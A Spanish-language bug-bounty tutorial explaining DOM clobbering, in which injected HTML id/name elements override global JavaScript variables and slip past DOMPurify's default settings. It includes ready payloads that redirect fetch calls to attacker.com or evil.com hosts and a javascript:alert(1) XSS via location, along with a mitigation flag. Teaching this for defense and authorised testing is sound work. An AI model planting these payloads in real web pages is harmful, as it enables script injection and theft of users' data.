Nivel AvanzadoPremium

DOM clobbering — override de variables globales JS para bypassear sanitizers

Cómo usar DOM clobbering (name/id collisions) para sobrescribir variables JS globales y bypassear sanitizers como DOMPurify, achivar XSS donde innerHTML está bloqueado por defecto.

Gorka El Bochi11 de mayo de 202614 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

DOM clobbering aprovecha que HTML elements con id o name se exponen automáticamente como propiedades de document y window. Si una app lee window.config.apiBase o document.foo.bar esperando un objeto JS, el atacante puede inyectar <form id="config"><input name="apiBase" value="https://evil.com"> y el access via property lookup retorna el HTMLElement como si fuera el objeto esperado. Permite bypass de sanitizers (DOMPurify default permite name/id atributos) y HTML-only injection que escala a JS execution.


El mecanismo base

HTML5 spec declara que para compatibilidad con código legacy, los elements con id o name se exponen en el global scope:

html
<div id="myVar"></div>
javascript
console.log(window.myVar);  // HTMLDivElement
console.log(myVar);          // Same, sin prefijo window

Si dos elements tienen el mismo id, JS devuelve una HTMLCollection:

html
<a id="link"></a>
<a id="link"></a>
javascript
window.link;  // HTMLCollection [a, a]

Y dentro de un <form>, los <input name="foo"> se exponen como propiedades del form:

html
<form id="config">
  <input name="apiBase" value="https://attacker.com">
</form>
javascript
window.config.apiBase;  // HTMLInputElement
window.config.apiBase.value;  // "https://attacker.com"

Cuando la app coercionа esto a string (concat, template literal, fetch), el browser llama toString() que devuelve el atributo value para <input> o el href para <a>.


Patrón vulnerable básico

javascript
// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
  fetch(window.config.apiBase + '/data');
}

Si el atacante puede inyectar solo HTML (no <script>), no necesitaría JS execution. Solo:

html
<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>

window.config resuelve a HTMLCollection con dos <a>. Property access .apiBase busca por name → segundo <a>. Coerce a string → href. Resultado: la app hace fetch('https://attacker.com//data') con las cookies del user.


Elements clobbeables — tabla de referencia

ElementtoString() devuelveProperty exposure
<a id="x" href="URL">URL del hrefwindow.x
<area id="x" href="URL">URL del hrefwindow.x
<form id="x"><input name="y">[object HTMLFormElement]window.x.y = input element
<iframe id="x" src="URL">URL del srcwindow.x (objeto Window del iframe)
<img id="x" src="URL">URL del srcwindow.x
<object id="x" data="URL">URL del datawindow.x
<embed id="x" src="URL">URL del srcwindow.x
<base href="URL">n/aCambia base URL relative

Anchor tag — el clobber más versátil

<a> permite que su toString() devuelva el href:

html
<a id="x" href="https://attacker.com"></a>
javascript
String(window.x);  // "https://attacker.com"
window.x + '';      // "https://attacker.com"
`${window.x}`;     // "https://attacker.com"

Cualquier sink que concatene o use template literal con window.x ahora redirige a attacker.com.

Variantes útiles

html
<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>

Si la app hace location = window.redirect, dispara XSS (el sink "blando" location acepta javascript:).

html
<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
  <input name="theme" value="dark">
  <input name="apiUrl" value="https://evil.com">
  <input name="onError" value="ATTACKER_FUNC">
</form>

Si la app lee window.settings.theme, .apiUrl, .onError → todos clobbered.


Sanitizer bypass — DOMPurify default config

DOMPurify por defecto permite atributos id y name porque son atributos legítimos de HTML (no son handlers ejecutables). Sin <script> o handlers, la sanitización no detecta nada peligroso. Pero los elements quedan vivos en el DOM y disponibles para clobber:

javascript
const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.

document.body.innerHTML = clean;

// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase;  // → javascript:alert(1)

Mitigación correcta

DOMPurify tiene configuración SANITIZE_DOM: true (default) y SANITIZE_NAMED_PROPS: true (no default hasta v3.x). Activar:

javascript
DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });

Esto prefixa los id/name con user-content- evitando que colisionen con globals. Pero la mayoría de apps NO activa este flag porque no lo conocen.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Dom Clobbering

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.